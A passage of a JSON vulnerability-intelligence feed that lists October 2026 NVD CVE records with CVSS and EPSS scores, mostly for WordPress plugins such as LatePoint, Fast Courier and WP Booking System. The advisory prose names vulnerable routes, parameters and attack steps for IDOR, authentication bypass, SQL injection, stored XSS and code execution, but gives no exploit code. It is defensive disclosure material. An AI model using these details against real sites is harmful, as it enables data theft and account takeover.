account, cookie, or nonce by simply submitting a guest checkout with the payload as the billing first name.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:02.553Z","updatedAt":"2026-10-14T16:17:30.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103367","asOf":"2026-10-14T16:17:30.350Z"},"epss":{"probability":0.01007,"percentile":0.6278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103367&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103367","type":"primary","publishedAt":"2026-10-14T08:17:02.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103367&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103367, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103366","cveId":"CVE-2026-103366","aliases":[],"kind":"vulnerability","title":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and...","summary":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 5.7.3 via the `booking[id]` and `cart[id]` parameters on the `steps__reload_booking_form_summary_panel` and `steps__start` public routes (reachable through wp_ajax_nopriv_latepoint_route_call). This is due to `OsStepsHelper::set_required_objects()` feeding raw request parameters into `set_booking_object()` and `set_cart_object()`, which call `OsModel::set_data()` and load an arbitrary booking or cart row by primary key with no ownership check — the ownership guard the vendor added for the earlier disclosure lives only inside `OsStepsHelper::load_step()` and does not cover the sibling routes or `cart[id]` at all. This makes it possible for unauthenticated attackers to enumerate sequential booking / cart identifiers and read other customers' appointment details (service name, agent, date/time, duration, price breakdown, status) and other shoppers' pending checkout contents directly from the JSON responses.","detail":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 5.7.3 via the `booking[id]` and `cart[id]` parameters on the `steps__reload_booking_form_summary_panel` and `steps__start` public routes (reachable through wp_ajax_nopriv_latepoint_route_call). This is due to `OsStepsHelper::set_required_objects()` feeding raw request parameters into `set_booking_object()` and `set_cart_object()`, which call `OsModel::set_data()` and load an arbitrary booking or cart row by primary key with no ownership check — the ownership guard the vendor added for the earlier disclosure lives only inside `OsStepsHelper::load_step()` and does not cover the sibling routes or `cart[id]` at all. This makes it possible for unauthenticated attackers to enumerate sequential booking / cart identifiers and read other customers' appointment details (service name, agent, date/time, duration, price breakdown, status) and other shoppers' pending checkout contents directly from the JSON responses.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:02.417Z","updatedAt":"2026-10-15T17:17:10.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103366","asOf":"2026-10-15T17:17:10.770Z"},"epss":{"probability":0.00475,"percentile":0.4078,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103366&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103366","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103366","type":"primary","publishedAt":"2026-10-14T08:17:02.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103366&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103366, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100163","cveId":"CVE-2026-100163","aliases":[],"kind":"vulnerability","title":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including,...","summary":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.7.2 via the OsCustomerHelper::create_wp_user_for_customer() helper reached from the public process_step_customer() booking step. When the 'Use WordPress users as customers' option is enabled, the helper falls back from email_exists() to username_exists( $customer->email ), which matches any WordPress user whose user_login equals the victim customer's email even when that user's user_email is completely different, and links that WordPress user's ID into the victim's LatePoint customer row (only privileged roles are excluded; Subscriber is allowed). This makes it possible for authenticated attackers, with Subscriber-level access and above, to take over another customer's LatePoint account — accessing their bookings, service, agent, and calendar data, and having the victim customer's email overwritten with the attacker's on next login — by holding a Subscriber account whose user_login equals the victim's email and submitting an unauthenticated public booking step registration request.","detail":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass in versions up to, and including, 5.7.2 via the OsCustomerHelper::create_wp_user_for_customer() helper reached from the public process_step_customer() booking step. When the 'Use WordPress users as customers' option is enabled, the helper falls back from email_exists() to username_exists( $customer->email ), which matches any WordPress user whose user_login equals the victim customer's email even when that user's user_email is completely different, and links that WordPress user's ID into the victim's LatePoint customer row (only privileged roles are excluded; Subscriber is allowed). This makes it possible for authenticated attackers, with Subscriber-level access and above, to take over another customer's LatePoint account — accessing their bookings, service, agent, and calendar data, and having the victim customer's email overwritten with the attacker's on next login — by holding a Subscriber account whose user_login equals the victim's email and submitting an unauthenticated public booking step registration request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:02.257Z","updatedAt":"2026-10-14T18:17:08.617Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100163","asOf":"2026-10-14T18:17:08.617Z"},"epss":{"probability":0.00431,"percentile":0.37097,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100163&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100163","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100163","type":"primary","publishedAt":"2026-10-14T08:17:02.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100163&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100163, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89288","cveId":"CVE-2026-89288","aliases":[],"kind":"vulnerability","title":"The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated...","summary":"The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated attackers to perform SQL injection and read arbitrary data from the database.","detail":"The Fast Courier  WordPress plugin before 5.2.4 does not sanitize and escape a value before using it in a SQL query on an unauthenticated REST route, allowing unauthenticated attackers to perform SQL injection and read arbitrary data from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:04.387Z","updatedAt":"2026-10-15T11:17:53.550Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89288","asOf":"2026-10-15T11:17:53.550Z"},"epss":{"probability":0.00345,"percentile":0.27781,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89288&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89288","type":"primary","publishedAt":"2026-10-14T07:17:04.387Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89288&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89288, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86799","cveId":"CVE-2026-86799","aliases":[],"kind":"vulnerability","title":"The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the...","summary":"The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the administration dashboard, allowing unauthenticated users to inject arbitrary web scripts that will execute in the browser of any administrator viewing the submissions.","detail":"The Forms WordPress plugin before 3.0.2 does not sanitise submitted form values on storage, nor escape them before outputting them on the form submissions screen in the administration dashboard, allowing unauthenticated users to inject arbitrary web scripts that will execute in the browser of any administrator viewing the submissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:03.860Z","updatedAt":"2026-10-14T16:14:02.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86799","asOf":"2026-10-14T16:14:02.800Z"},"epss":{"probability":0.00375,"percentile":0.31198,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86799&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86799","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86799","type":"primary","publishedAt":"2026-10-14T07:17:03.860Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86799&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86799, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86787","cveId":"CVE-2026-86787","aliases":[],"kind":"vulnerability","title":"The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes...","summary":"The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes as PHP, allowing users with the Contributor role or above to run arbitrary PHP code on the server.","detail":"The affiliate-toolkit  WordPress plugin before 3.9.1 does not prevent a low-privileged user from supplying a template body that its bundled templating engine compiles and executes as PHP, allowing users with the Contributor role or above to run arbitrary PHP code on the server.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:03.643Z","updatedAt":"2026-10-14T16:14:02.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86787","asOf":"2026-10-14T16:14:02.800Z"},"epss":{"probability":0.00396,"percentile":0.33566,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86787&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86787","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86787","type":"primary","publishedAt":"2026-10-14T07:17:03.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86787&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86787, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107508","cveId":"CVE-2026-107508","aliases":[],"kind":"vulnerability","title":"The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and...","summary":"The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and read arbitrary local files, including the WordPress configuration file.","detail":"The Ultimate Multisite  WordPress plugin before 2.17.2 does not validate a user-supplied value used to select a file to include, allowing unauthenticated attackers to include and read arbitrary local files, including the WordPress configuration file.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:01.983Z","updatedAt":"2026-10-14T16:14:02.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107508","asOf":"2026-10-14T16:14:02.800Z"},"epss":{"probability":0.00503,"percentile":0.42735,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107508","type":"primary","publishedAt":"2026-10-14T07:17:01.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107126","cveId":"CVE-2026-107126","aliases":[],"kind":"vulnerability","title":"The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an...","summary":"The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an administration screen, allowing unauthenticated attackers to perform Stored Cross-Site Scripting attacks that execute in the session of an administrator who views the stored data.","detail":"The WP Booking System  WordPress plugin before 2.1.0.1 does not sanitise and escape a client-controllable request value before storing it and later outputting it in an administration screen, allowing unauthenticated attackers to perform Stored Cross-Site Scripting attacks that execute in the session of an administrator who views the stored data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:01.350Z","updatedAt":"2026-10-14T16:14:02.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107126","asOf":"2026-10-14T16:14:02.800Z"},"epss":{"probability":0.00462,"percentile":0.39823,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107126&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107126","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107126","type":"primary","publishedAt":"2026-10-14T07:17:01.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107126&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107126, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103307","cveId":"CVE-2026-103307","aliases":[],"kind":"vulnerability","title":"The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its...","summary":"The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its payment webhook with a signing secret that is empty by default, allowing unauthenticated attackers to perform SQL injection attacks and to mark arbitrary orders as paid.","detail":"The Walletdoc Payment Gateway for WooCommerce WordPress plugin before 1.8.5 does not properly sanitize and escape user input before using it in a SQL statement, and verifies its payment webhook with a signing secret that is empty by default, allowing unauthenticated attackers to perform SQL injection attacks and to mark arbitrary orders as paid.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:00.127Z","updatedAt":"2026-10-14T16:14:02.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103307","asOf":"2026-10-14T16:14:02.800Z"},"epss":{"probability":0.00345,"percentile":0.27781,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103307","type":"primary","publishedAt":"2026-10-14T07:17:00.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50218","cveId":"CVE-2026-50218","aliases":[],"kind":"vulnerability","title":"Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding.","summary":"Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding. By convincing a user to interact with a malicious link, an attacker can use a spoofed JWT token to inject arbitrary parameters into the client software, resulting in unauthorized reconfiguration and full compromise of the application's functionality. This attack can also be targeted against an already seeded client if the attacker knows the URL of the IDP that the client used for enrollment.","detail":"Akamai GPA (Guardicore Platform Agent) client on all platforms before 7.4 improperly validates JWT tokens used for seeding. By convincing a user to interact with a malicious link, an attacker can use a spoofed JWT token to inject arbitrary parameters into the client software, resulting in unauthorized reconfiguration and full compromise of the application's functionality. This attack can also be targeted against an already seeded client if the attacker knows the URL of the IDP that the client used for enrollment.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T06:17:06.900Z","updatedAt":"2026-10-19T19:18:07.787Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50218","asOf":"2026-10-19T19:18:07.787Z"},"epss":{"probability":0.00328,"percentile":0.25707,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50218&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50218","type":"primary","publishedAt":"2026-10-14T06:17:06.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50218&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50218, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110459","cveId":"CVE-2026-110459","aliases":[],"kind":"vulnerability","title":"A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes,...","summary":"A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes, and execute a Denial of Service (DoS) attack on the device.","detail":"A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi Protect AI Key to obtain information, make unauthorized changes, and execute a Denial of Service (DoS) attack on the device.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T06:17:06.260Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Ubiquiti"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110459","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00261,"percentile":0.17688,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110459&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110459","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110459","type":"primary","publishedAt":"2026-10-14T06:17:06.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 